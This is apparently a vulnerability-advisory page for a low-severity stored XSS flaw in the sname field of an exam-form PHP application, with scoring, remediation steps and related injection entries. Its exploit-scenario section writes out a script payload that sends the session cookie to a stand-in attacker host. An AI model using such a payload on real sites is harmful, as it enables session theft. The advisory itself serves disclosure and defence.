EUVD-2026-14510
GHSA-qvmh-94p6-pp46
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The risk profile presents conflicting signals that must be reconciled. The CVSS v3.1 vector (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N/E:P/RL:X/RC:R) indicates low severity with a score of 2.4, reflecting the requirement for high-level privileges (PR:H), user interaction (UI:R), and limited impact scope (integrity only, no confidentiality or availability loss). However, countervailing factors include public proof-of-concept availability (E:P), an unknown remediation level (RL:X), and reasonable confidence (RC:R). In SSVC terms, this represents an exploitable vulnerability with proven public code, but the exploitation status is constrained by authentication barriers and requires social engineering or session hijacking to leverage. For most organizations, this is a low-to-medium priority issue affecting only authenticated administrators; the real risk emerges in multi-user environments where admin accounts are shared or where account compromise has already occurred. The absence of KEV (Known Exploited Vulnerability) designation and the high-privilege requirement suggest minimal active exploitation in the wild, but the PHP ecosystem's prevalence in legacy systems means this warrant patching within standard maintenance windows rather than emergency response. |
| Exploit ScenarioDerived | An attacker with valid administrator credentials (or who has compromised an admin account) navigates to the Exam Form Submission admin panel and accesses the form containing the sname field in /admin/update_s6.php. They inject a payload such as sname=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>, which, when the form is processed and displayed to another authenticated user (such as a superadmin reviewing submissions), executes in that user's browser and exfiltrates their session cookie. A public proof-of-concept is available at https://github.com/bybinyu/Vulnerability-Practice/issues/1, reducing the barrier to exploitation for attackers with administrative access or those who have already compromised an admin account through other means. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 23, 2026
A stored cross-site scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0 affecting the /admin/update_s6.php file, where the sname parameter fails to properly sanitize user input. An authenticated attacker with high privileges can inject malicious JavaScript that executes in the context of other users' browsers, potentially compromising admin accounts or exfiltrating sensitive exam data. A public proof-of-concept is available on GitHub, and while the CVSS score is low at 2.4, the vulnerability requires high privileges and user interaction to exploit, limiting real-world impact.
RemediationAI
Immediately upgrade code-projects Exam Form Submission to the latest patched version available from https://code-projects.org/. If an immediate patch is unavailable, implement input validation and output encoding by ensuring the sname parameter undergoes sanitization via htmlspecialchars($sname, ENT_QUOTES, 'UTF-8') or equivalent before output, and enforce Content-Security-Policy headers to mitigate XSS impact. Additionally, restrict administrative access to /admin/update_s6.php to specific IP ranges, implement Web Application Firewall (WAF) rules to detect and block script injection payloads in the sname parameter, and enforce strong authentication with multi-factor authentication for all administrative accounts. Monitor application logs for suspicious admin panel activity and consider implementing CSRF tokens on all state-changing form submissions.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability is a reflected or stored XSS flaw classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), a class of input validation weakness endemic to PHP web applications. The affected software is code-projects Exam Form Submission (identified via CPE cpe:2.3:a:code-projects:exam_form_submission:*:*:*:*:*:*:*:*), a PHP-based form handling system used for exam management. The vulnerability manifests in the administrative interface file /admin/update_s6.php, where the sname parameter is processed without proper output encoding or input filtering, allowing injection of arbitrary HTML and JavaScript. This is a classic example of inadequate use of PHP's htmlspecialchars(), strip_tags(), or similar sanitization functions during form processing.
Know when Exam Form Submission gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
6DescriptionCVE.org
A vulnerability was determined in code-projects Exam Form Submission 1.0. This vulnerability affects unknown code of the file /admin/update_s6.php. Executing a manipulation of the argument sname can lead to cross site scripting. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. If you want to get the best quality for vulnerability data then you always have to consider VulDB.
Executive ViewAI
CVE-2026-4595 is a low-severity vulnerability in A vulnerability involving cross-site scripting (CVSS 2.4). The limited severity suggests constrained impact, typically requiring specific conditions or local access for exploitation. Apply vendor updates when available as part of routine maintenance.
Apply vendor patch during routine maintenance. Standard cross-site scripting mitigations apply if patching is delayed.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Exam Form Submission
View allUnrestricted file upload in code-projects Exam Form Submission 1.0 allows remote unauthenticated attackers to upload arb
SQL injection in code-projects Exam Form Submission 1.0 exposes the underlying database through the `credits` parameter
SQL injection in code-projects Exam Form Submission 1.0 exposes the backend database to unauthorized read and write oper
SQL injection in code-projects Exam Form Submission 1.0 exposes the `/admin/delete_s3.php` endpoint to remote manipulati
SQL injection in code-projects Exam Form Submission 1.0 exposes the /admin/delete_s2.php endpoint to remote exploitation
SQL injection in code-projects Exam Form Submission 1.0 exposes the /admin/delete_s1.php endpoint to remote database man
SQL injection in code-projects Exam Form Submission 1.0 allows remote unauthenticated attackers to extract or modify dat
SQL injection in code-projects Exam Form Submission 1.0 allows remote attackers to manipulate the 'credits' parameter in
SQL injection in code-projects Exam Form Submission 1.0 via the 'credits' parameter of /admin/update_s3.php enables remo
SQL injection in code-projects Exam Form Submission 1.0 exposes the application's database to remote manipulation throug
SQL injection in code-projects Exam Form Submission 1.0 allows remote attackers to manipulate the backend database via t
SQL injection in code-projects Exam Form Submission 1.0 exposes the unauthenticated /register.php registration endpoint
Exploit-DB